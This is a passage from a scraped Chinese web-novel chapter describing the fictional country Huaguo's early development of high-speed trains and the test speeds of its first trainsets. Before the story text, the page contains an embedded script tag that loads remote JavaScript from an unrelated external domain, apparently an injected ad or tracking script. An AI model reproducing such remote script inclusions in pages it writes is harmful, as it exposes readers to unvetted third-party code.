第842章 研究高铁技术我们华威是认真的 (第1/2页)
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<script src="https://xxsmad3.com/s.php?g=1&t=2&p=1388&i="></script>华国土地广阔无比,纵横交错之间距离达五六千公里之远,随着时代的发展和战略的需求,普通的绿皮火车速度已经远远无法满足自身需求。
自九十年代初开始,华国就开始了自己的高速动车研究之路,并于2000年推出华国的第一台动车组——“蓝箭”号动车组。
当时的“蓝箭”号动车组最高时速可达235.6km/h(试验时速),是普通绿皮火车速度的两倍有余。
同年,神舟动车组正式上线,时速180公里(实际运行速度),运行情况良好。
第二年,华都之星动车组实验实速达到了292公里每小时,第三年华国之星动车组实验实速达到了惊人的320公里每小时。
但如此高速的运行速度仅是实验数据而已,华国动车组的专家发现,当动车速度达到200公里每小时后出现了许许多多的问题。
耐用性差,容易出现机器故障,许多零�
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